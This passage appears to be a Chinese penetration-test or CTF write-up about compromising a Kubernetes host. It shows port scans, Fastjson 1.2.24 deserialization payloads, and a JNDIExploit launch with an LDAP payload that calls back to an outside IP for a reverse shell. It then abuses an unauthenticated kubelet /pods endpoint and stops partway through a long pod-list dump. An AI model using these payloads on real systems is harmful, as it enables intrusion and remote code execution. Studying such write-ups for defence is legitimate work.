前言
漏洞提权、特权容器、信息泄露、域渗透
参考： https://mp.weixin.qq.com/s/Alz-DFfAbJUQWNm1qmsNgQ
外网
信息收集
[-] start ping
{icmp} 121.89.86.15 up
[*] live Hosts num: 1
121.89.86.15: [22 2379 2380 6443 8080 10250 10251 10252]
[*] alive ports len is: 8
[*] start vulscan
[*] WebTitle http://121.89.86.15:10251 code:404 len:19 title:None
[*] WebTitle http://121.89.86.15:10252 code:404 len:19 title:None
[*] WebTitle https://121.89.86.15:10250 code:200 len:104 title:None
[*] WebTitle https://121.89.86.15:6443 code:403 len:233 title:None
已完成 0/8 [-] webtitle https://121.89.86.15:2379 Get "https://121.89.86.15:2379": remote error: tls: bad certificate
已完成 1/8 [-] webtitle https://121.89.86.15:2380 Get "https://121.89.86.15:2380": remote error: tls: bad certificate
[*] WebTitle http://121.89.86.15:8080 code:302 len:0 title:None 跳转url: http://121.89.86.15:8080/login;jsessionid=10D577817821DAF086B62F031E19765A
[*] WebTitle http://121.89.86.15:8080/login;jsessionid=10D577817821DAF086B62F031E19765A code:400 len:277 title:None
已完成 2/8 [-] webtitle https://121.89.86.15:8080/login;jsessionid=10D577817821DAF086B62F031E19765A Get "https://121.89.86.15:8080/login;jsessionid=10D577817821DAF086B62F031E19765A": http: server gave HTTP response to HTTPS client尝试打 k8s
❯ curl -k https://121.89.86.15:2379/v2/keys/registry/secrets/default\?recursive\=true
curl: (35) LibreSSL/3.3.6: error:1401E412:SSL routines:CONNECT_CR_FINISHED:sslv3 alert bad certificate
❯ curl -k https://121.89.86.15:10250/pods
<h1>403 Forbidden</h1>
Access denied by nginx whitelist.
<br>
Please access via the correct IP address.2379 需要证书，10250 没权限
8080 的 web 服务可以直接无帐密登录进去，进去有这么一段话
Hello User - Admin
Welcome to the "My" forum. We hope you can find the knowledge and assistance you need here.
flaghunt2 - admin
hello_json_file进去是一个 create post，抓包发现是传入 json，创建成功返回 302，失败返回 500
fastjson
使用 fastjson 探测
测试 dnslog
{
"content":{"@type":"java.net.Inet4Address","val":"dnslog.com"}
}posts 返回 dnslog.com/13.223.25.84，但是 dnslog 端没接收到记录
{
"title": {"@type": "com.sun.rowset.JdbcRowSetImpl"}
}posts 返回 com.sun.rowset.JdbcRowSetImpl@64afa2de，说明 fastjson 版本是 1.2.24
探测类
{
"title": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"
}}返回 500 则说明存在这个包，测试结果：
org.apache.catalina.startup.Tomcat
org.springframework.web.bind.annotation.RequestMapping
com.sun.org.apache.bcel.internal.util.ClassLoader
com.sun.rowset.JdbcRowSetImpl只有 bcel 和 jdbc，但是 bcel 缺少 org.apache.tomcat 包打不了
尝试直接用 JNDIExploit 打
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 101.34.249.170 -l 21389 -p 22222 > 1.log 2>&1 &{
"title": "1",
"content": {"a":
{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://101.34.249.170:21389/Basic/ReverseShell/101.34.249.170/23333","autoCommit":true}
}
}拿到 shell
172.17.0.2 - k8s 容器
内网信息收集
root@52a205b59ba8:/tmp# ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
root@52a205b59ba8:/tmp# ./fs64 -t 172.17.0.2/24 -p 1-65535 -nobr
./fs64 -t 172.17.0.2/24 -p 1-65535 -nobr
[*] fs Tools version v0.0.2, Modified from fscan, Powered P001water
[*] start_Live_scan
{icmp} 172.17.0.1 up
{icmp} 172.17.0.2 up
[*] live Hosts num: 2
172.17.0.1: [22 8080 10250 10251 10252]
172.17.0.2: [8080]
[*] alive ports len is: 6
[*] start vulscan
[*] WebTitle http://172.17.0.1:8080 code:302 len:0 title:None 跳转url: http://172.17.0.1:8080/login;jsessionid=A3A43D2CE0DF034ABB8E352FC4765319
[*] WebTitle http://172.17.0.1:10252 code:404 len:19 title:None
[*] WebTitle https://172.17.0.1:10250 code:404 len:19 title:None
[*] WebTitle http://172.17.0.1:10251 code:404 len:19 title:None
[*] WebTitle http://172.17.0.2:8080 code:302 len:0 title:None 跳转url: http://172.17.0.2:8080/login;jsessionid=8CF2383B863F58D7E1297A824535670A
[*] WebTitle http://172.17.0.2:8080/login;jsessionid=8CF2383B863F58D7E1297A824535670A code:400 len:277 title:None
[*] WebTitle http://172.17.0.1:8080/login;jsessionid=A3A43D2CE0DF034ABB8E352FC4765319 code:400 len:277 title:None
已完成 1/6 [-] webtitle https://172.17.0.1:8080/login;jsessionid=A3A43D2CE0DF034ABB8E352FC4765319 Get "https://172.17.0.1:8080/login;jsessionid=A3A43D2CE0DF034ABB8E352FC4765319": http: server gave HTTP response to HTTPS client
已完成 2/6 [-] webtitle https://172.17.0.2:8080/login;jsessionid=8CF2383B863F58D7E1297A824535670A Get "https://172.17.0.2:8080/login;jsessionid=8CF2383B863F58D7E1297A824535670A": http: server gave HTTP response to HTTPS client
[+] 已完成 6/6
[-] Scan over, fs exit当前 shell 是在 k8s 的容器内，先代理出来
k8s 未授权
然后访问 https://172.17.0.1:10250/
发现可以访问，访问 /pods 获取集群的详细信息
{
"kind": "PodList",
"apiVersion": "v1",
"metadata": {
},
"items": [
{
"metadata": {
"name": "etcd-web",
"namespace": "kube-system",
"selfLink": "/api/v1/namespaces/kube-system/pods/etcd-web",
"uid": "5a5c733754817033fbac18a841a4281f",
"creationTimestamp": null,
"labels": {
"component": "etcd",
"tier": "control-plane"
},
"annotations": {
"kubernetes.io/config.hash": "5a5c733754817033fbac18a841a4281f",
"kubernetes.io/config.seen": "2026-07-14T20:52:53.978329845Z",
"kubernetes.io/config.source": "file"
}
},
"spec": {
"volumes": [
{
"name": "etcd-certs",
"hostPath": {
"path": "/etc/kubernetes/pki/etcd",
"type": "DirectoryOrCreate"
}
},
{
"name": "etcd-data",
"hostPath": {
"path": "/var/lib/etcd",
"type": "DirectoryOrCreate"
}
}
],
"containers": [
{
"name": "etcd",
"image": "registry.aliyuncs.com/google_containers/etcd:3.3.15-0",
"command": [
"etcd",
"--advertise-client-urls=https://192.168.1.56:2379",
"--cert-file=/etc/kubernetes/pki/etcd/server.crt",
"--client-cert-auth=true",
"--data-dir=/var/lib/etcd",
"--initial-advertise-peer-urls=https://192.168.1.56:2380",
"--initial-cluster=web=https://192.168.1.56:2380",
"--key-file=/etc/kubernetes/pki/etcd/server.key",
"--listen-client-urls=https://127.0.0.1:2379,https://192.168.1.56:2379",
"--listen-metrics-urls=http://127.0.0.1:2381",
"--listen-peer-urls=https://192.168.1.56:2380",
"--name=web",
"--peer-cert-file=/etc/kubernetes/pki/etcd/peer.crt",
"--peer-client-cert-auth=true",
"--peer-key-file=/etc/kubernetes/pki/etcd/peer.key",
"--peer-trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt",
"--snapshot-count=10000",
"--trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt"
],
"resources": {
},
"volumeMounts": [
{
"name": "etcd-data",
"mountPath": "/var/lib/etcd"
},
{
"name": "etcd-certs",
"mountPath": "/etc/kubernetes/pki/etcd"
}
],
"livenessProbe": {
"httpGet": {
"path": "/health",
"port": 2381,
"host": "127.0.0.1",
"scheme": "HTTP"
},
"initialDelaySeconds": 15,
"timeoutSeconds": 15,
"periodSeconds": 10,
"successThreshold": 1,
"failureThreshold": 8
},
"terminationMessagePath": "/dev/termination-log",
"terminationMessagePolicy": "File",
"imagePullPolicy": "IfNotPresent"
}
],
"restartPolicy": "Always",
"terminationGracePeriodSeconds": 30,
"dnsPolicy": "ClusterFirst",
"nodeName": "web",
"hostNetwork": true,
"securityContext": {
},
"schedulerName": "default-scheduler",
"tolerations": [
{
"operator": "Exists",
"effect": "NoExecute"
}
],
"priorityClassName": "system-cluster-critical",
"enableServiceLinks": true
},
"status": {
"phase": "Running",
"conditions": [
{
"type": "Initialized",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2026-07-14T12:53:15Z"
},
{
"type": "Ready",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2026-07-14T12:53:19Z"
},
{
"type": "ContainersReady",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2026-07-14T12:53:19Z"
},
{
"type": "PodScheduled",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2026-07-14T12:53:15Z"
}
],
"hostIP": "192.168.1.56",
"podIP": "192.168.1.56",
"podIPs": [
{
"ip": "192.168.1.56"
}
],
"startTime": "2026-07-14T12:53:15Z",
"containerStatuses": [
{
"name": "etcd",
"state": {
"running": {
"startedAt": "2026-07-14T12:53:19Z"
}
},
"lastState": {
"terminated": {
"exitCode": 255,
"reason": "Error",
"startedAt": "2026-04-17T17:26:41Z",
"finishedAt": "2026-07-14T20:52:51Z",
"containerID": "docker://bd6a3baebedcef40afb60505307135c3fcbc18f108db1ac5b6c030b74c3d7e83"
}
},
"ready": true,
"restartCount": 9,
"image": "registry.aliyuncs.com/google_containers/etcd:3.3.15-0",
"imageID": "docker-pullable://registry.aliyuncs.com/google_containers/etcd@sha256:12c2c5e5731c3bcd56e6f1c05c0f9198b6f06793fa7fca2fb43aab9622dc4afa",
"containerID": "docker://d84b0d4cda377d68cfe9b04faa7cec0193fae246f62d539b30335f9e30896f22",
"started": true
}
],
"qosClass": "BestEffort"
}
},
{
"metadata": {
"name": "kube-apiserver-web",
"namespace": "kube-system",
"selfLink": "/api/v1/namespaces/kube-system/pods/kube-apiserver-web",
"uid": "b269709cbe90ff42cbcdc86d9df1e59c",
"creationTimestamp": null,
"labels": {
"component": "kube-apiserver",
"tier": "control-plane"
},
"annotations": {
"kubernetes.io/config.hash": "b269709cbe90ff42cbcdc86d9df1e59c",
"kubernetes.io/config.seen": "2026-07-14T20:52:53.978340266Z",
"kubernetes.io/config.source": "file"
}
},
"spec": {
"volumes": [
{
"name": "ca-certs",
"hostPath": {
"path": "/etc/ssl/certs",
"type": "DirectoryOrCreate"
}
},
{
"name": "etc-ca-certificates",
"hostPath": {
"path": "/etc/ca-certificates",
"type": "DirectoryOrCreate"
}
},
{
"name": "k8s-certs",
"hostPath": {
"path": "/etc/kubernetes/pki",
"type": "DirectoryOrCreate"
}
},
{
"name": "usr-local-share-ca-certificates",
"hostPath": {
"path": "/usr/local/share/ca-certificates",
"type": "DirectoryOrCreate"
}
},
{
"name": "usr-share-ca-certificates",
"hostPath": {
"path": "/usr/share/ca-certificates",
"type": "DirectoryOrCreate"
}
}
],
"containers": [
{
"name": "kube-apiserver",
"image": "registry.aliyuncs.com/google_containers/kube-apiserver:v1.16.5",
"command": [
"kube-apiserver",
"--advertise-address=192.168.1.56",
"--allow-privileged=true",
"--authorization-mode=Node,RBAC",
"--bind-address=192.168.1.56",
"--client-ca-file=/etc/kubernetes/pki/ca.crt",
"--enable-admission-plugins=NodeRestriction",
"--enable-bootstrap-token-auth=true",
"--etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt",
"--etcd-certfile=/etc/kubernetes/pki/apiserver-etcd-client.crt",
"--etcd-keyfile=/etc/kubernetes/pki/apiserver-etcd-client.key",
"--etcd-servers=https://127.0.0.1:2379",
"--insecure-port=0",
"--kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt",
"--kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key",
"--kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname",
"--proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt",
"--proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key",
"--requestheader-allowed-names=front-proxy-client",
"--requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt",
"--requestheader-extra-headers-prefix=X-Remote-Extra-",
"--requestheader-group-headers=X-Remote-Group",
"--requestheader-username-headers=X-Remote-User",
"--secure-port=6443",
"--service-account-key-file=/etc/kubernetes/pki/sa.pub",
"--service-cluster-ip-range=10.96.0.0/12",
"--tls-cert-file=/etc/kubernetes/pki/apiserver.crt",
"--tls-private-key-file=/etc/kubernetes/pki/apiserver.key"
],
"resources": {
"requests": {
"cpu": "250m"
}
},
"volumeMounts": [
{
"name": "ca-certs",
"readOnly": true,
"mountPath": "/etc/ssl/certs"
},
{
"name": "etc-ca-certificates",
"readOnly": true,
"mountPath": "/etc/ca-certificates"
},
{
"name": "k8s-certs",
"readOnly": true,
"mountPath": "/etc/kubernetes/pki"
},
{
"name": "usr-local-share-ca-certificates",
"readOnly": true,
"mountPath": "/usr/local/share/ca-certificates"
},
{
"name": "usr-share-ca-certificates",
"readOnly": true,
"mountPath": "/usr/share/ca-certificates"
}
],
"livenessProbe": {
"httpGet": {
"path": "/healthz",
"port": 6443,
"host": "192.168.1.56",
"scheme": "HTTPS"
},
"initialDelaySeconds": 15,
"timeoutSeconds": 15,
"periodSeconds": 10,
"successThreshold": 1,
"failureThreshold": 8
},
"terminationMessagePath": "/dev/termination-log",
"terminationMessagePolicy": "File",
"imagePullPolicy": "IfNotPresent"
}
],
"restartPolicy": "Always",
"terminationGracePeriodSeconds": 30,
"dnsPolicy": "ClusterFirst",
"nodeName": "web",
"hostNetwork": true,
"securityContext": {
},
"schedulerName": "default-scheduler",
"tolerations": [
{
"operator": "Exists",
"effect": "NoExecute"
}
],
"priorityClassName": "system-cluster-critical",
"enableServiceLinks": true
},
"status": {
"phase": "Running",
"conditions": [
{
"type": "Initialized",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2026-07-14T12:53:15Z"
},
{
"type": "Ready",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2026-07-14T12:53:19Z"
},
{
"type": "ContainersReady",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2026-07-14T12:53:19Z"
},
{
"type": "PodScheduled",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2026-07-14T12:53:15Z"
}
],
"hostIP": "192.168.1.56",
"podIP": "192.168.1.56",
"podIPs": [
{
"ip": "192.168.1.56"
}
],
"startTime": "2026-07-14T12:53:15Z",
"containerStatuses": [
{
"name": "kube-apiserver",
"state": {
"running": {
"startedAt": "2026-07-14T12:53:19Z"
}
},
"lastState": {
"terminated": {
"exitCode": 255,
"reason": "Error",
"startedAt": "2026-04-17T17:26:41Z",
"finishedAt": "2026-07-14T20:52:51Z",
"containerID": "docker://91466a17b6887e674e4a083a273f9e2ea766b0d3230d3e6bd9a2f8fd72cb4267"
}
},
"ready": true,
"restartCount": 9,
"image": "registry.aliyuncs.com/google_containers/kube-apiserver:v1.16.5",
"imageID": "docker-pullable://registry.aliyuncs.com/google_containers/kube-apiserver@sha256:1ec8f8d41f67f3263b86d71f3a7d3d925b2458dd14292baecfbdf18c234a1855",
"containerID": "docker://849401ada69203e740b441e6fdca9228f1ad2ede5d1d61fd1d14c044d48de7e3",
"started": true
}
],
"qosClass": "Burstable"
}
},
{
"metadata": {
"name": "kube-controller-manager-web",
"namespace": "kube-system",
"selfLink": "/api/v1/namespaces/kube-system/pods/kube-controller-manager-web",
"uid": "f50eab22113ed55f640ed65722a1b225",
"creationTimestamp": null,
"labels": {
"component": "kube-controller-manager",
"tier": "control-plane"
},
"annotations": {
"kubernetes.io/config.hash": "f50eab22113ed55f640ed65722a1b225",
"kubernetes.io/config.seen": "2026-07-14T20:52:53.978343406Z",
"kubernetes.io/config.source": "file"
}
},
"spec": {
"volumes": [
{
"name": "ca-certs",
"hostPath": {
"path": "/etc/ssl/certs",
"type": "DirectoryOrCreate"
}
},
{
"name": "etc-ca-certificates",
"hostPath": {
"path": "/etc/ca-certificates",
"type": "DirectoryOrCreate"
}
},
{
"name": "flexvolume-dir",
"hostPath": {
"path": "/usr/libexec/kubernetes/kubelet-plugins/volume/exec",
"type": "DirectoryOrCreate"
}
},
{
"name": "k8s-certs",
"hostPath": {
"path": "/etc/kubernetes/pki",
"type": "DirectoryOrCreate"
}
},
{
"name": "kubeconfig",
"hostPath": {
"path": "/etc/kubernetes/controller-manager.conf",
"type": "FileOrCreate"
}
},
{
"name": "usr-local-share-ca-certificates",
"hostPath": {
"path": "/usr/local/share/ca-certificates",
"type": "DirectoryOrCreate"
}
},
{
"name": "usr-share-ca-certificates",
"hostPath": {
"path": "/usr/share/ca-certificates",
"type": "DirectoryOrCreate"
}
}
],
"containers": [
{
"name": "kube-controller-manager",
"image": "registry.aliyuncs.com/google_containers/kube-controller-manager:v1.16.5",
"command": [
"kube-controller-manager",
"--allocate-node-cidrs=true",
"--authentication-kubeconfig=/etc/kubernetes/controller-manager.conf",
"--authorization-kubeconfig=/etc/kubernetes/controller-manager.conf",
"--bind-address=127.0.0.1",
"--client-ca-file=/etc/kubernetes/pki/ca.crt",
"--cluster-cidr=10.244.0.0/16",
"--cluster-signing-cert-file=/etc/kubernetes/pki/ca.crt",
"--cluster-signing-key-file=/etc/kubernetes/pki/ca.key",
"--controllers=*,bootstrapsigner,tokencleaner",
"--kubeconfig=/etc/kubernetes/controller-manager.conf",
"--leader-elect=true",
"--node-cidr-mask-size=24",
"--requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt",
"--root-ca-file=/etc/kubernetes/pki/ca.crt",
"--service-account-private-key-file=/etc/kubernetes/pki/sa.key",
"--service-cluster-ip-range=10.96.0.0/12",
"--use-service-account-credentials=true"
],
"resources": {
"requests": {
"cpu": "200m"
}
},
"volumeMounts": [
{
"name": "ca-certs",
"readOnly": true,
"mountPath": "/etc/ssl/certs"
},
{
"name": "etc-ca-certificates",
"readOnly": true,
"mountPath": "/etc/ca-certificates"
},
{
"name": "flexvolume-dir",
"mountPath": "/usr/libexec/kubernetes/kubelet-plugins/volume/exec"
},
{
"name": "k8s-certs",
"readOnly": true,
"mountPath": "/etc/kubernetes/pki"
},
{
"name": "kubeconfig",
"readOnly": true,
"mountPath": "/etc/kubernetes/controller-manager.conf"
},
{
"name": "usr-local-share-ca-certificates",
"readOnly": true,
"mountPath": "/usr/local/share/ca-certificates"
},
{
"name": "usr-share-ca-certificates",
"readOnly": true,
"mountPath": "/usr/share/ca-certificates"
}
],
"livenessProbe": {
"httpGet": {
"path": "/healthz",
"port": 10252,
"host": "127.0.0.1",
"scheme": "HTTP"
},
"initialDelaySeconds": 15,
"timeoutSeconds": 15,
"periodSeconds": 10,
"successThreshold": 1,
"failureThreshold": 8
},
"terminationMessagePath": "/dev/termination-log",
"terminationMessagePolicy": "File",
"imagePullPolicy": "IfNotPresent"
}
],
"restartPolicy": "Always",
"terminationGracePeriodSeconds": 30,
"dnsPolicy": "ClusterFirst",
"nodeName": "web",
"hostNetwork": true,
"securityContext": {
},
"schedulerName": "default-scheduler",
"tolerations": [
{
"operator": "Exists",
"effect": "NoExecute"
}
],
"priorityClassName": "system-cluster-critical",
"enableServiceLinks": true
},
"status": {
"phase": "Running",
"conditions": [
{
"type": "Initialized",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2026-07-14T12:53:15Z"
},
{
"type": "Ready",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2026-07-14T12:53:19Z"
},
{
"type": "ContainersReady",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2026-07-14T12:53:19Z"
},
{
"type": "PodScheduled",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2026-07-14T12:53:15Z"
}
],
"hostIP": "192.168.1.56",
"podIP": "192.168.1.56",
"podIPs": [
{
"ip": "192.168.1.56"
}
],
"startTime": "2026-07-14T12:53:15Z",
"containerStatuses": [
{
"name": "kube-controller-manager",
"state": {
"running": {
"startedAt": "2026-07-14T12:53:19Z"
}
},
"lastState": {
"terminated": {
"exitCode": 255,
"reason": "Error",
"startedAt": "2026-04-17T17:26:41Z",
"finishedAt": "2026-07-14T20:52:51Z",
"containerID": "docker://4eee9f10e7ece666912c13a858bdeb31e58820e645c003a4734c8ce4766f2beb"
}
},
"ready": true,
"restartCount": 9,
"image": "registry.aliyuncs.com/google_containers/kube-controller-manager:v1.16.5",
"imageID": "docker-pullable://registry.aliyuncs.com/google_containers/kube-controller-manager@sha256:d807554df171ba4f3b56aa2a63c2ef5b56af095fd7aebdeafedbbfcda5275d10",
"containerID": "docker://7dd8dc98a20a962ee33a042dd1fe390453d02e891c0c6b894881d056e46e025d",
"started": true
}
],
"qosClass": "Burstable"
}
},
{
"metadata": {
"name": "kube-scheduler-web",
"namespace": "kube-system",
"selfLink": "/api/v1/namespaces/kube-system/pods/kube-scheduler-web",
"uid": "2a528eea0130758e2a9e516b17b74d35",
"creationTimestamp": null,
"labels": {
"component": "kube-scheduler",
"tier": "control-plane"
},
"annotations": {
"kubernetes.io/config.hash": "2a528eea0130758e2a9e516b17b74d35",
"kubernetes.io/config.seen": "2026-07-14T20:52:53.978346432Z",
"kubernetes.io/config.source": "file"
}
},
"spec": {
"volumes": [
{
"name": "kubeconfig",
"hostPath": {
"path": "/etc/kubernetes/scheduler.conf",
"type": "FileOrCreate"
}
}
],
"containers": [
{
"name": "kube-scheduler",
"image": "registry.aliyuncs.com/google_containers/kube-scheduler:v1.16.5",
"command": [
"kube-scheduler",
"--authentication-kubeconfig=/etc/kubernetes/scheduler.conf",
"--authorization-kubeconfig=/etc/kubernetes/scheduler.conf",
"--bind-address=127.0.0.1",
"--kubeconfig=/etc/kubernetes/scheduler.conf",
"--leader-elect=true"
],
"resources": {
"requests": {
"cpu": "100m"
}
},
"volumeMounts": [
{
"name": "kubeconfig",
"readOnly": true,
"mountPath": "/etc/kubernetes/scheduler.conf"
}
],
"livenessProbe": {
"httpGet": {
"path": "/healthz",
"port": 10251,
"host": "127.0.0.1",
"scheme": "HTTP"
},
"initialDelaySeconds": 15,
"timeoutSeconds": 15,
"periodSeconds": 10,
"successThreshold": 1,
"failureThreshold": 8
},
"terminationMessagePath": "/dev/termination-log",
"terminationMessagePolicy": "File",
"imagePullPolicy": "IfNotPresent"
}
],
"restartPolicy": "Always",
"terminationGracePeriodSeconds": 30,
"dnsPolicy": "ClusterFirst",
"nodeName": "web",
"hostNetwork": true,
"securityContext": {
},
"schedulerName": "default-scheduler",
"tolerations": [
{
"operator": "Exists",
"effect": "NoExecute"
}
],
"priorityClassName": "system-cluster-critical",
"enableServiceLinks": true
},
"status": {
"phase": "Running",
"conditions": [
{
"type": "Initialized",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2026-07-14T12:53:15Z"
},
{
"type": "Ready",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2026-07-14T12:53:19Z"
},
{
"type": "ContainersReady",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2026-07-14T12:53:19Z"
},
{
"type": "PodScheduled",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2026-07-14T12:53:15Z"
}
],
"hostIP": "192.168.1.56",
"podIP": "192.168.1.56",
"podIPs": [
{
"ip": "192.168.1.56"
}
],
"startTime": "2026-07-14T12:53:15Z",
"containerStatuses": [
{
"name": "kube-scheduler",
"state": {
"running": {
"startedAt": "2026-07-14T12:53:19Z"
}
},
"lastState": {
"terminated": {
"exitCode": 255,
"reason": "Error",
"startedAt": "2026-04-17T17:26:41Z",
"finishedAt": "2026-07-14T20:52:51Z",
"containerID": "docker://69cd8f48ef273a80a2c5b5af45692978bd34b1bf4e701c5babf1ce8f21669ab2"
}
},
"ready": true,
"restartCount": 10,
"image": "registry.aliyuncs.com/google_containers/kube-scheduler:v1.16.5",
"imageID": "docker-pullable://registry.aliyuncs.com/google_containers/kube-scheduler@sha256:8f20c90afce972ae51acaf425b7bdb6445f54168b52ea311b2b89adf5db1acac",
"containerID": "docker://de62d9074449ec26053a09c474da65e1f93065958572d743cc4c269306a771fe",
"started": true
}
],
"qosClass": "Burstable"
}
},
{
"metadata": {
"name": "kube-flannel-ds-7tjnc",
"generateName": "kube-flannel-ds-",
"namespace": "kube-flannel",
"selfLink": "/api/v1/namespaces/kube-flannel/pods/kube-flannel-ds-7tjnc",
"uid": "2ee99dbf-5741-48d2-83b3-666f1789f702",
"resourceVersion": "6975",
"creationTimestamp": "2026-04-16T07:57:47Z",
"labels": {
"app": "flannel",
"controller-revision-hash": "5c766884b",
"pod-template-generation": "1"
},
"annotations": {
"kubernetes.io/config.seen": "2026-07-14T12:53:24.697708952Z",
"kubernetes.io/config.source": "api"
},
"ownerReferences": [
{
"apiVersion": "apps/v1",
"kind": "DaemonSet",
"name": "kube-flannel-ds",
"uid": "f0fea1f7-3b34-4f8f-bbd2-e95836da73e9",
"controller": true,
"blockOwnerDeletion": true
}
]
},
"spec": {
"volumes": [
{
"name": "flannel-cfg",
"configMap": {
"name": "kube-flannel-cfg",
"defaultMode": 420
}
},
{
"name": "cni",
"hostPath": {
"path": "/etc/cni/net.d",
"type": ""
}
},
{
"name": "flannel-token-wxz9b",
"secret": {
"secretName": "flannel-token-wxz9b",
"defaultMode": 420
}
}
],
"containers": [
{
"name": "kube-flannel",
"image": "quay.io/coreos/flannel:v0.11.0-amd64",
"command": [
"/opt/bin/flanneld"
],
"args": [
"--ip-masq",
"--kube-subnet-mgr"
],
"env": [
{
"name": "POD_NAME",
"valueFrom": {
"fieldRef": {
"apiVersion": "v1",
"fieldPath": "metadata.name"
}
}
},
{
"name": "POD_NAMESPACE",
"valueFrom": {
"fieldRef": {
"apiVersion": "v1",
"fieldPath": "metadata.namespace"
}
}
}
],
"resources": {
},
"volumeMounts": [
{
"name": "flannel-cfg",
"mountPath": "/etc/kube-flannel"
},
{
"name": "cni",
"mountPath": "/etc/cni/net.d"
},
{
"name": "flannel-token-wxz9b",
"readOnly": true,
"mountPath": "/var/run/secrets/kubernetes.io/serviceaccount"
}
],
"terminationMessagePath": "/dev/termination-log",
"terminationMessagePolicy": "File",
"imagePullPolicy": "IfNotPresent",
"securityContext": {
"privileged": true
}
}
],
"restartPolicy": "Always",
"terminationGracePeriodSeconds": 30,
"dnsPolicy": "ClusterFirst",
"serviceAccountName": "flannel",
"serviceAccount": "flannel",
"nodeName": "web",
"hostNetwork": true,
"securityContext": {
},
"affinity": {
"nodeAffinity": {
"requiredDuringSchedulingIgnoredDuringExecution": {
"nodeSelectorTerms": [
{
"matchFields": [
{
"key": "metadata.name",
"operator": "In",
"values": [
"web"
]
}
]
}
]
}
}
},
"schedulerName": "default-scheduler",
"tolerations": [
{
"operator": "Exists",
"effect": "NoSchedule"
},
{
"key": "node.kubernetes.io/not-ready",
"operator": "Exists",
"effect": "NoExecute"
},
{
"key": "node.kubernetes.io/unreachable",
"operator": "Exists",
"effect": "NoExecute"
},
{
"key": "node.kubernetes.io/disk-pressure",
"operator": "Exists",
"effect": "NoSchedule"
},
{
"key": "node.kubernetes.io/memory-pressure",
"operator": "Exists",
"effect": "NoSchedule"
},
{
"key": "node.kubernetes.io/pid-pressure",
"operator": "Exists",
"effect": "NoSchedule"
},
{
"key": "node.kubernetes.io/unschedulable",
"operator": "Exists",
"effect": "NoSchedule"
},
{
"key": "node.kubernetes.io/network-unavailable",
"operator": "Exists",
"effect": "NoSchedule"
}
],
"priority": 0,
"enableServiceLinks": true
},
"status": {
"phase": "Running",
"conditions": [
{
"type": "Initialized",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2026-04-16T07:57:47Z"
},
{
"type": "Ready",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2026-07-14T12:54:08Z"
},
{
"type": "ContainersReady",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2026-07-14T12:54:08Z"
},
{
"type": "PodScheduled",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2026-04-16T07:57:47Z"
}
],
"hostIP": "192.168.1.56",
"podIP": "192.168.1.56",
"podIPs": [
{
"ip": "192.168.1.56"
}
],
"startTime": "2026-04-16T07:57:47Z",
"containerStatuses": [
{
"name": "kube-flannel",
"state": {
"running": {
"startedAt": "2026-07-14T12:54:08Z"
}
},
"lastState": {
"terminated": {
"exitCode": 1,
"reason": "Error",
"startedAt": "2026-07-14T12:53:26Z",
"finishedAt": "2026-07-14T12:53:57Z",
"containerID": "docker://d464a122c5f49b42c3cbd63e123304c279a7aec81b4e4d09d808e4fc43b8f579"
}
},
"ready": true,
"restartCount": 10,
"image": "quay.io/coreos/flannel:v0.11.0-amd64",
"imageID": "docker-pullable://quay.io/coreos/flannel@sha256:7806805c93b20a168d0bbbd25c6a213f00ac58a511c47e8fa6409543528a204e",
"containerID": "docker://f77aaa45c41b3b21922186653e3321f4c3d2c1cf0e6a034faa6cc6acf89ef073",
"started": true
}
],
"qosClass": "BestEffort"
}
},
{
"metadata": {
"name": "kube-proxy-j874v",
"generateName": "kube-proxy-",
"namespace": "kube-system",
"selfLink": "/api/v1/namespaces/kube-system/pods/kube-proxy-j874v",
"uid": "84ee99bb-d025-4b62-a2dd-44012d40d1e3",
"resourceVersion": "7009",
"creationTimestamp": "2026-04-16T08:19:40Z",
"labels": {
"controller-revision-hash": "844c78dc9",
"k8s-app": "kube-proxy",
"pod-template-generation": "1"
},
"annotations": {
"kubernetes.io/config.seen": "2026-07-14T12:53:24.697704232Z",
"kubernetes.io/config.source": "api"
},
"ownerReferences": [
{
"apiVersion": "apps/v1",
"kind": "DaemonSet",
"name": "kube-proxy",
